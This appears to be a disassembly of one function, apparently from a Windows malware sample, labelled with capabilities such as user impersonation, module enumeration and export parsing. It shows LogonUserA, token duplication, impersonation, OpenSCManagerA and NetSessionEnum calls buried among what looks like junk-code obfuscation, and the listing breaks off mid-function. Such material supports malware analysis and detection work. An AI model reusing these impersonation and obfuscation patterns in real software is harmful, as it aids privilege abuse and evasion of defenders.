Function at 0x4010c7
Capabilities:
Create pipe
Enumerate process modules
Get disk information
Get system information on windows
Impersonate user
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1b3c
call fcn.00415590
mov ax, word [0x428838]
push ebx
push esi
push edi
push 0x1fe
mov word [esp + 0x25c], ax
xor ebx, ebx
lea eax, [esp + 0x25e]
push ebx
push eax
call fcn.00407de0
add esp, 0xc
lea eax, [esp + 0x459]
push 0xff
push ebx
push eax
call fcn.00407de0
mov ecx, dword [0x428840]
lea edi, [esp + 0x58]
xor eax, eax
mov dword [esp + 0x464], ecx
stosd dword es:[edi], eax
add esp, 0xc
push dword [0x428848]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x5c]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x20]
push eax
push ecx
lea eax, [esp + 0x570]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edi, dword [0x428838]
test edi, edi
je 0x401174
lea eax, [esp + 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, dword [0x428838]
cmp dword [esp + 0x10], 0x3cb9fcf5
mov ecx, dword [0x428848]
jne 0x40119b
mov eax, dword [0x428840]
mov esi, dword [0x42883c]
add eax, esi
add ecx, eax
mov dword [0x428848], ecx
jmp 0x4011aa
mov esi, dword [0x428840]
imul esi, edi
mov dword [0x42883c], esi
mov ebx, dword [esp + 0x18]
sub ecx, esi
add ecx, edi
cmp ecx, dword [0x428844]
jb 0x4011cb
movzx esi, bx
add esi, dword [esp + 0x14]
add esi, dword [esp + 0x14]
mov dword [0x42883c], esi
lea ecx, [edi + 4]
xor eax, eax
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
call fcn.004195d0
mov edx, dword [0x428840]
mov eax, esi
mov ecx, dword [0x428834]
movaps xmm1, xmm0
imul edx, edi
add ecx, 0xfffffffd
add ecx, edx
cdq
idiv ecx
mov ecx, dword [0x428840]
imul eax, ecx
cdq
idiv dword [0x428844]
movd xmm0, eax
mov eax, dword [esp + 0x18]
cvtdq2pd xmm0, xmm0
addsd xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x420f30]
addsd xmm0, xmm1
call fcn.004176e1
mov esi, eax
inc edi
push ecx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x34], esi
call fcn.0040535f
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x40125d
mov dword [eax], edi
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x401276
mov edx, dword [esp + 0x20]
sub edx, ecx
push 4
sar edx, 2
call fcn.0040107f
pop ecx
mov esi, dword [sym.imp.OPENGL32.dll_glEnable]
push 0xbc0
call esi
push 0xb71
call esi
push 0xb57
call esi
push 0xb50
call esi
push 0x4000
call esi
push 0xbe2
call esi
xor edi, edi
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
mov esi, dword [sym.imp.ole32.dll_CLSIDFromProgID]
lea eax, [esp + 0x18]
push eax
push 0x42076c
call esi
lea eax, [esp + 0x38]
push eax
push str.Visual
call esi
mov esi, dword [sym.imp.OLEAUT32.dll_SafeArrayAllocDescriptor]
lea eax, [esp + 0x2c]
push eax
push edi
lea eax, [esp + 0x20]
push eax
call esi
test eax, eax
je 0x401305
lea eax, [esp + 0x2c]
push eax
push edi
lea eax, [esp + 0x40]
push eax
call esi
mov ecx, dword [0x428848]
test eax, eax
push 1
pop edx
cmovne ecx, edx
mov dword [0x428848], ecx
mov ecx, dword [esp + 0x2c]
test ecx, ecx
je 0x401313
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov edx, dword [esp + 0x30]
mov esi, dword [0x428838]
test bl, bl
je 0x40132d
movzx eax, dl
imul eax, ebx
add dword [esp + 0x14], eax
jmp 0x401340
mov eax, dword [esp + 0x14]
mov ecx, ebx
movzx eax, al
sub ecx, eax
sub ecx, esi
mov dword [0x42883c], ecx
mov ecx, dword [0x428840]
mov eax, ecx
imul eax, edx
push 3
pop edi
cmp dword [esp + 0x14], eax
jne 0x40136e
xor edx, edx
movzx ecx, cx
mov eax, ebx
div edi
mov edx, dword [esp + 0x30]
imul eax, dword [0x428844]
add eax, esi
add ecx, eax
add ebx, ecx
mov eax, dword [0x428838]
movzx edi, word [0x428848]
movzx ecx, al
mov eax, dword [esp + 0x4c]
add ecx, edi
movzx eax, ax
cmp ecx, eax
jbe 0x4013cd
movd xmm0, edx
mov eax, edx
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x420f30]
cvtpd2ps xmm0, xmm0
cvtps2pd xmm0, xmm0
call fcn.00419400
mov eax, dword [esp + 0x4c]
movzx eax, al
cvtsd2ss xmm0, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm0, xmm1
call fcn.00417500
mov dword [esp + 0x14], eax
jmp 0x40141b
movd xmm0, dword [esp + 0x4c]
mov eax, dword [0x428838]
cvtdq2ps xmm0, xmm0
push ecx
push ecx
movzx esi, ax
add esi, edi
cvtps2pd xmm0, xmm0
movsd qword [esp + 0x20], xmm0
fld qword [esp + 0x20]
fstp qword [esp]
call fcn.004134a0
fstp qword [esp + 0x20]
movsd xmm0, qword [esp + 0x20]
movd xmm1, esi
cvtpd2ps xmm0, xmm0
pop ecx
pop ecx
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [0x42883c], eax
and dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x834]
push eax
push 0
call dword [sym.imp.SHELL32.dll_ExtractAssociatedIconA]
mov esi, dword [0x428840]
mov eax, dword [0x428834]
lea ecx, [eax + esi*4]
mov eax, dword [0x42883c]
add ecx, dword [0x428838]
cdq
idiv ecx
sub eax, esi
mov esi, dword [esp + 0x30]
add esi, eax
xor eax, eax
push eax
push eax
mov dword [esp + 0x24], eax
call fcn.00405dd6
and dword [esp + 0x10], 0
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x10]
push eax
call fcn.00404fce
mov ecx, dword [0x428838]
mov eax, esi
mov edi, dword [0x42883c]
sub ecx, edi
sub eax, dword [esp + 0x14]
imul ecx, edi
cmp eax, ecx
jne 0x4014bc
mov ecx, dword [0x428834]
xor edx, edx
mov eax, dword [0x428844]
lea ecx, [ecx - 5]
div ecx
movzx ecx, word [0x428840]
imul eax, ecx
imul eax, edi
mov dword [0x42883c], eax
lea ecx, [esp + 0x18]
call fcn.00404f94
mov eax, dword [esp + 0x50]
mov edi, dword [esp + 0x14]
mov edx, dword [0x428834]
movzx eax, al
add eax, edi
jne 0x4014e8
movzx eax, si
add eax, dword [esp + 0x50]
movzx ecx, dl
add ecx, eax
sub ebx, ecx
cmp edi, edx
jne 0x401509
mov eax, dword [esp + 0x14]
movzx ebx, ax
imul ebx, dword [0x428838]
imul ebx, dword [0x428838]
add ebx, ebx
sub ebx, dword [0x428848]
mov eax, dword [0x42883c]
lea ecx, [edx + 3]
cdq
lea edi, [esp + 0x5c0]
idiv ecx
mov esi, 0x420784
imul eax, dword [0x428840]
push 0xf6
push 0
movsd dword es:[edi], dword [esi]
mov dword [esp + 0x38], eax
lea eax, [esp + 0x5d6]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.00407de0
mov esi, 0x420794
lea edi, [esp + 0x134]
add esp, 0xc
lea eax, [esp + 0x131]
movsd dword es:[edi], dword [esi]
push 0xfb
push 0
push eax
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.00407de0
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push 3
push 9
lea eax, [esp + 0x134]
push eax
push 0x4207a0
lea eax, [esp + 0x5d4]
push eax
call dword [sym.imp.ADVAPI32.dll_LogonUserA]
lea eax, [esp + 0x2c]
push eax
push 2
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, dword [0x428838]
mov ecx, dword [0x428848]
mov esi, dword [0x428844]
imul ecx, edi
lea eax, [esi + edi]
cmp ecx, eax
jne 0x4015f8
mov edx, dword [esp + 0x14]
add edx, 4
movzx eax, bx
imul edx, eax
lea eax, [esi + edi]
sub edx, esi
imul edx, dword [0x42883c]
mov dword [0x42883c], edx
jmp 0x4015fe
mov edx, dword [0x42883c]
cmp ecx, eax
jne 0x40161a
mov ecx, dword [esp + 0x14]
add ecx, 4
movzx eax, bx
imul ecx, eax
sub ecx, esi
imul ecx, edx
mov dword [0x42883c], ecx
mov esi, 0x104
test edi, edi
je 0x40164c
push 0
lea eax, [esp + 0x5c4]
push esi
push eax
call fcn.00408999
add esp, 0xc
lea eax, [esp + 0x5c0]
push 0x4207a4
push esi
push eax
call fcn.004089fd
add esp, 0xc
mov esi, dword [sym.imp.OPENGL32.dll_glEnable]
push 0xbc0
call esi
push 0xb71
call esi
push 0xb57
call esi
push 0xb50
call esi
push 0x4000
call esi
push 0xbe2
call esi
mov ecx, dword [0x428838]
mov eax, dword [0x428848]
mov esi, dword [0x428844]
imul eax, ecx
lea edx, [esi + ecx]
cmp eax, edx
jne 0x4016b3
mov ecx, dword [esp + 0x14]
add ecx, 4
movzx eax, bx
imul ecx, eax
sub ecx, esi
imul ecx, dword [0x42883c]
mov dword [0x42883c], ecx
mov esi, dword [sym.imp.ole32.dll_CLSIDFromProgID]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x25c]
push eax
call esi
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x25c]
push eax
call esi
lea eax, [esp + 0xd4]
push eax
lea eax, [esp + 0x25c]
push eax
call esi
lea eax, [esp + 0xe4]
push eax
lea eax, [esp + 0x25c]
push eax
call esi
lea eax, [esp + 0xf4]
push eax
lea eax, [esp + 0x25c]
push eax
call esi
lea eax, [esp + 0xc4]
push eax
lea eax, [esp + 0x25c]
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
lea eax, [esp + 0x18]
xor edi, edi
push eax
inc edi
push edi
push 0xf01ff
call esi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x14]
push eax
push edi
push 0x4207ac
call dword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
mov esi, dword [esp + 0x34]
neg eax
mov edi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
sbb eax, eax
and dword [0x428848], eax
push esi
call edi
push dword [0x428848]
call edi
or dword [esp + 0x10], 0xffffffff
xor eax, eax
or dword [esp + 0x2c], 0xffffffff
xor ecx, ecx
inc eax
mov dword [esp + 0x18], 0xc
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
cmp dword [0x428838], ecx
je 0x4017be
push ecx
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_CreatePipe]
xor ecx, ecx
mov eax, dword [0x428834]
test eax, eax
je 0x4017ec
cmp dword [0x428844], 0
jne 0x4017ec
push ecx
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x34]
push eax
push dword [0x42883c]
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov eax, dword [0x428834]
cmp dword [0x428840], 0xf4
mov edi, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
jne 0x401808
xor edx, edx
push esi
inc edx
push edx
push eax
call edi
jmp 0x401810
xor eax, eax
inc eax
mov dword [0x428848], eax
push 0
push esi
push dword [0x428838]
call edi
mov eax, dword [0x428838]
mov esi, dword [0x428834]
sub eax, 1
je 0x401852
sub eax, 0x110
jne 0x401892
mov ecx, dword [0x428848]
movzx eax, cx
cmp ecx, eax
jne 0x401892
cmp dword [0x428874], 0
jne 0x401892
xor eax, eax
inc eax
mov dword [0x428874], eax
jmp 0x401892
xor eax, eax
push eax
push eax
push dword [0x428848]
push esi
push 0x1e
push 0x78
push 0x19
push 0x1e
push 0x50000000
push 0x4207e4
push str.BUTTON
push eax
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401892
push 0x30
push 0x420824
push 0x420840
push esi
call dword [sym.imp.USER32.dll_MessageBoxW]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x13
call esi
test eax, eax
jne 0x4018a8
inc dword [0x42883c]
jmp 0x4018b3
mov eax, dword [0x428840]
add dword [0x42883c], eax
push 0x17
call esi
test eax, eax
je 0x4018cb
mov eax, dword [0x42883c]
imul eax, dword [0x428840]
mov dword [esp + 0x2c], eax
push 9
pop ecx
xor eax, eax
lea edi, [esp + 0x234]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x1000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor ecx, ecx
mov dword [esp + 0x34], eax
lea eax, [esp + 0x34]
mov dword [esp + 0x18], ecx
push eax
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
xor edx, edx
mov byte [esp + 0x3c], cl
inc edx
lea eax, [esp + 0x38]
push ecx
push edx
push eax
mov byte [esp + 0x49], dl
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
push dword [esp + 0x34]
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov edx, dword [0x428838]
mov eax, dword [0x428848]
mov esi, dword [0x428844]
mov edi, dword [esp + 0x14]
imul eax, edx
lea ecx, [esi + edx]
cmp eax, ecx
jne 0x401963
lea ecx, [edi + 4]
movzx eax, bx
imul ecx, eax
sub ecx, esi
imul ecx, dword [0x42883c]
mov dword [0x42883c], ecx
lea eax, [esp + 0x38]
mov dword [esp + 0x18], edx
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x45c], edx
push eax
lea eax, [esp + 0x18]
xor ecx, ecx
push eax
push 0x800
lea eax, [esp + 0x44]
mov dword [esp + 0x48], ecx
push eax
push 0x1f6
push ecx
push ecx
lea eax, [esp + 0x278]
mov dword [esp + 0x30], ecx
push eax
mov dword [esp + 0x58], ecx
call dword [sym.imp.NETAPI32.dll_NetSessionEnum]
cmp eax, 0xea
je 0x4019c3
test eax, eax
je 0x4019c3
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4019c3
add dword [0x428848], eax
cmp dword [esp + 0x34], 0
je 0x4019d4
push dword [esp + 0x34]
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
mov ecx, dword [esp + 0x50]
test cl, cl
je 0x4019f9
mov eax, dword [0x428848]
cdq
xor eax, edx
movzx ecx, cl
sub eax, edx
imul eax, ecx
imul eax, dword [esp + 0x4c]
sub dword [0x42883c], eax
jmp 0x4019ff
mov dword [0x42883c], ecx
push pe_nt_image_headers32
lea eax, [esp + 0x12c]
push 0
push eax
call fcn.00407de0
mov esi, dword [0x428838]
lea eax, [esp + 0x24]
add esp, 0xc
push 0
push 4
push eax
push esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
push 0xff
lea eax, [esp + 0x12c]
push eax
push dword [esp + 0x20]
push esi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
lea eax, [esp + 0x128]
push eax
push 0x420898
call fcn.00401006
push 2
call fcn.004067d3
add esp, 0xc
push 2
call fcn.004067d3
pop ecx
cmp edi, dword [0x428834]
jne 0x401a8d
mov eax, dword [esp + 0x14]
movzx ebx, ax
imul ebx, dword [0x428838]
imul ebx, dword [0x428838]
add ebx, ebx
sub ebx, dword [0x428848]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 0xc4]
push eax
lea eax, [esp + 0x25c]
push eax
call dword [sym.imp.ole32.dll_CLSIDFromProgID]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, dword [0x42883c]
mov ecx, dword [0x428838]
mov eax, dword [esp + 0x14]
add ecx, esi
add eax, dword [esp + 0x30]
imul ecx, esi
cmp eax, ecx
jne 0x401aee
mov ecx, dword [0x428834]
xor edx, edx
mov eax, dword [0x428844]
lea ecx, [ecx - 8]
div ecx
add eax, dword [0x428840]
sub esi, eax
mov dword [0x42883c], esi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x13
call esi
test eax, eax
jne 0x401b04
inc dword [0x42883c]
jmp 0x401b0f
mov eax, dword [0x428840]
add dword [0x42883c], eax
push 0x17
call esi
test eax, eax
je 0x401b27
mov eax, dword [0x42883c]
imul eax, dword [0x428840]
mov dword [esp + 0x2c], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea edi, [esp + 0x104]
push 9
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
lea eax, [esp + 0x104]
push eax
call esi
push dword [0x428848]
lea eax, [esp + 0x55c]
push eax
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x28]
push eax
push dword [0x428840]
lea eax, [esp + 0x7e0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [0x428838]
test edx, edx
je 0x401b8f
lea eax, [esp + 0x58]
push eax
call esi
mov edx, dword [0x428838]
cmp dword [esp + 0x18], 0x3cb9fcf5
mov ecx, dword [0x428840]
jne 0x401bae
mov eax, dword [0x42883c]
add eax, ecx
add dword [0x428848], eax
jmp 0x401bb8
mov eax, ecx
imul eax, edx
mov dword [0x42883c], eax
mov edi, dword [esp + 0x14]
lea eax, [esp + 0x258]
cmp di, ax
jb 0x401bd9
mov eax, ecx
sub eax, dword [esp + 0x2d9]
sub eax, ebx
add eax, edi
mov dword [esp + 0x34], eax
test edx, edx
je 0x401c0b
push 0
mov esi, 0x104
lea eax, [esp + 0x5c4]
push esi
push eax
call fcn.00408999
add esp, 0xc
lea eax, [esp + 0x5c0]
push 0x42089c
push esi
push eax
call fcn.004089fd
add esp, 0xc
and dword [esp + 0x18], 0
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x93c]
push eax
push 0
call dword [sym.imp.SHELL32.dll_ExtractAssociatedIconA]
mov eax, dword [esp + 0x14]
cmp eax, dword [0x428834]
jne 0x401c5a
mov esi, dword [0x428838]
mov eax, dword [0x428840]
cdq
lea ecx, [esi + 7]
idiv ecx
movzx ecx, di
imul ecx, dword [0x42883c]
add ecx, dword [0x428844]
imul ecx, esi
sub ecx, eax
imul ebx, ecx
push 0x1000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor ecx, ecx
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
mov dword [esp + 0x18], ecx
push eax
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
xor edx, edx
mov byte [esp + 0x3c], cl
inc edx
lea eax, [esp + 0x38]
push ecx
push edx
push eax
mov byte [esp + 0x49], dl
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
push pe_nt_image_headers32
lea eax, [esp + 0x12c]
push 0
push eax
call fcn.00407de0
mov esi, dword [0x428838]
lea eax, [esp + 0x24]
add esp, 0xc
push 0
push 4
push eax
push esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
push 0xff
lea eax, [esp + 0x12c]
push eax
push dword [esp + 0x20]
push esi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
lea eax, [esp + 0x128]
push eax
push 0x4208a4
call fcn.00401006
push 2
call fcn.004067d3
add esp, 0xc
push 2
call fcn.004067d3
mov esi, dword [sym.imp.WINMM.dll_timeGetTime]
pop ecx
call esi
call esi
xor eax, eax
push eax
push eax
mov dword [esp + 0x44], eax
call fcn.00405dd6
and dword [esp + 0x18], 0
lea ecx, [esp + 0x38]
mov dword [esp + 0x38], eax
lea eax, [esp + 0x18]
push eax
call fcn.00404fce
mov ecx, dword [0x428838]
mov esi, dword [0x42883c]
sub ecx, esi
mov eax, dword [esp + 0x30]
imul ecx, esi
sub eax, edi
cmp eax, ecx
jne 0x401d75
mov ecx, dword [0x428834]
xor edx, edx
mov eax, dword [0x428844]
lea ecx, [ecx - 5]
div ecx
movzx ecx, word [0x428840]
imul eax, ecx
imul eax, esi
mov dword [0x42883c], eax
lea ecx, [esp + 0x38]
call fcn.00404f94
mov esi, 0x4208bc
lea edi, [esp + 0x128]
push 0xf6
lea eax, [esp + 0x13a]
push 0
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.00407de0
mov esi, 0x4208cc
lea edi, [esp + 0x5cc]
add esp, 0xc
lea eax, [esp + 0x5c9]
movsd dword es:[edi], dword [esi]
push 0xfb
push 0
push eax
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.00407de0
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push 3
push 9
lea eax, [esp + 0x5cc]
push eax
push 0x4208d8
lea eax, [esp + 0x13c]
push eax
call dword [sym.imp.ADVAPI32.dll_LogonUserA]
lea eax, [esp + 0x38]
push eax
push 2
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
push dword [esp + 0x38]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp dword [0x428834], 0
je 0x401e37
mov eax, dword [esp + 0x64]
push 0
push dword [eax + 0x78]
push dword [esp + 0x68]
push eax
call dword [sym.imp.dbghelp.dll_ImageRvaToVa]
mov esi, dword [esp + 0x34]
mov edi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
push esi
call edi
push dword [0x428848]
call edi
or dword [esp + 0x18], 0xffffffff
xor edi, edi
or dword [esp + 0x38], 0xffffffff
xor ecx, ecx
inc edi
mov dword [esp + 0x48], 0xc
mov dword [esp + 0x50], edi
mov dword [esp + 0x4c], ecx
cmp dword [0x428838], ecx
je 0x401e8a
push ecx
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_CreatePipe]
xor ecx, ecx
mov eax, dword [0x428834]
test eax, eax
je 0x401eb8
cmp dword [0x428844], 0
jne 0x401eb8
push ecx
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0x40]
push eax
push dword [0x42883c]
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov eax, dword [0x428834]
cmp dword [0x428840], 0xf4
jne 0x401ecf
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
jmp 0x401ed5
mov dword [0x428848], edi
xor edi, edi
push edi
push esi
push dword [0x428838]
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
mov esi, dword [sym.imp.ole32.dll_CLSIDFromProgID]
lea eax, [esp + 0x48]
push eax
push 0x4208dc
call esi
lea eax, [esp + 0x18]
push eax
push 0x4208e4
call esi
mov esi, dword [sym.imp.OLEAUT32.dll_SafeArrayAllocDescriptor]
lea eax, [esp + 0x10]
push eax
push edi
lea eax, [esp + 0x50]
push eax
call esi
test eax, eax
je 0x401f42
lea eax, [esp + 0x10]
push eax
push edi
lea eax, [esp + 0x20]
push eax
call esi
mov ecx, dword [0x428848]
test eax, eax
push 1
pop eax
cmovne ecx, eax
mov dword [0x428848], ecx
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x401f50
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
push dword [0x428848]
lea eax, [esp + 0x7cc]
push eax
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x28]
push eax
push dword [0x428840]
lea eax, [esp + 0x570]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov esi, dword [0x428838]
test esi, esi
je 0x401f9d
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov esi, dword [0x428838]
cmp dword [esp + 0x18], 0x3cb9fcf5
mov ecx, dword [0x428848]
jne 0x401fc4
mov eax, dword [0x428840]
mov edx, dword [0x42883c]
add eax, edx
add ecx, eax
mov dword [0x428848], ecx
jmp 0x401fd3
mov edx, dword [0x428840]
imul edx, esi
mov dword [0x42883c], edx
mov edi, dword [0x428844]
imul ecx, esi
lea eax, [edi + esi]
cmp ecx, eax
jne 0x401ffc
movzx ecx, bx
lea eax, [esi - 4]
imul eax, dword [esp + 0x14]
imul ecx, edi
add ecx, eax
imul ecx, edx
mov dword [0x42883c], ecx
mov ebx, dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x45c]
push eax
call ebx
test eax, eax
je 0x40202d
push eax
push 0
push dword [0x428840]
call fcn.00406819
pop ecx
push eax
call fcn.00407de0
add esp, 0xc
push 0xa
pop ecx
xor eax, eax
lea edi, [esp + 0x58]
rep stosd dword es:[edi], eax
push 0x28
pop eax
mov word [esp + 0x58], ax
xor esi, esi
lea eax, [esp + 0x58]
mov dword [esp + 0x5c], 0x4008
push eax
push dword [0x428838]
inc esi
mov word [esp + 0x68], 0x2000
mov word [esp + 0x62], si
mov word [esp + 0x77], 0x818
mov byte [esp + 0x70], 8
mov byte [esp + 0x7a], 0
call dword [sym.imp.GDI32.dll_ChoosePixelFormat]
mov ecx, dword [0x42883c]
test eax, eax
cmove ecx, esi
mov dword [0x42883c], ecx
lea ecx, [esp + 0x58]
push ecx
push eax
push dword [0x428838]
call dword [sym.imp.GDI32.dll_SetPixelFormat]
mov eax, dword [0x428838]
dec eax
sub eax, esi
je 0x4020d1
sub eax, 0xd
je 0x4020be
sub eax, 0x104
jne 0x4020e3
mov esi, dword [sym.imp.WINMM.dll_timeGetTime]
call esi
call esi
jmp 0x4020e3
lea eax, [esp + 0x58]
push eax
push dword [0x428834]
call dword [sym.imp.USER32.dll_EndPaint]
jmp 0x4020e3
push 0
push 0
call dword [sym.imp.OPENGL32.dll_wglMakeCurrent]
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov eax, dword [0x428840]
lea edi, [esp + 0x58]
cdq
push 5
pop ecx
idiv ecx
push 0xa
mov esi, eax
mov eax, dword [0x42883c]
add esi, dword [0x428834]
add esi, dword [0x428838]
cdq
idiv esi
pop ecx
mov esi, eax
mov eax, dword [0x428840]
cdq
idiv dword [0x428844]
push 0x7f00
sub esi, eax
xor eax, eax
add dword [esp + 0x34], esi
rep stosd dword es:[edi], eax
and dword [esp + 0x6c], eax
push eax
mov dword [esp + 0x7c], 6
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x70], eax
lea eax, [esp + 0x258]
mov dword [esp + 0x7c], eax
lea eax, [esp + 0x58]
push eax
mov dword [esp + 0x5c], 0xb
call dword [sym.imp.USER32.dll_RegisterClassW]
mov ecx, dword [0x428838]
mov eax, dword [0x428834]
mov esi, dword [0x428848]
cmp ecx, 0x14
je 0x402184
push dword [0x42883c]
push esi
push ecx
push eax
call dword [sym.imp.USER32.dll_DefWindowProcW]
jmp 0x4021a5
lea ecx, [esp + 0x48]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push 0xd
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push eax
lea eax, [esp + 0x4c]
push eax
push esi
call dword [sym.imp.USER32.dll_FillRect]
cmp dword [0x428834], 0
je 0x4021c2
mov eax, dword [esp + 0x64]
push 0
push dword [eax + 0x78]
push dword [esp + 0x68]
push eax
call dword [sym.imp.dbghelp.dll_ImageRvaToVa]
xor eax, eax
inc eax
mov edi, eax
cmp dword [0x428838], eax
jle 0x402222
lea eax, [esp + 0x458]
push 0x5c
push eax
call fcn.00407990
mov esi, eax
lea eax, [esp + 0x466]
push 0x400
push eax
lea eax, [esp + 0xb58]
push eax
mov byte [esi], 0
call fcn.00408823
add esp, 0x14
lea eax, [esi + 1]
push 0x400
push eax
lea eax, [esp + 0x1350]
push eax
call fcn.00408823
add esp, 0xc
inc edi
cmp edi, dword [0x428838]
jl 0x4021cf
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
lea eax, [esp + 0x18]
xor edi, edi
push eax
inc edi
push edi
push 0xf01ff
call esi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x14]
push eax
push edi
push 0x4208f4
call dword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
mov esi, dword [0x42883c]
neg eax
mov ecx, dword [0x428838]
mov edi, dword [esp + 0x30]
sbb eax, eax
and dword [0x428848], eax
add ecx, esi
mov eax, dword [esp + 0x14]
imul ecx, esi
add eax, edi
cmp eax, ecx
jne 0x4022ad
mov ecx, dword [0x428834]
xor edx, edx
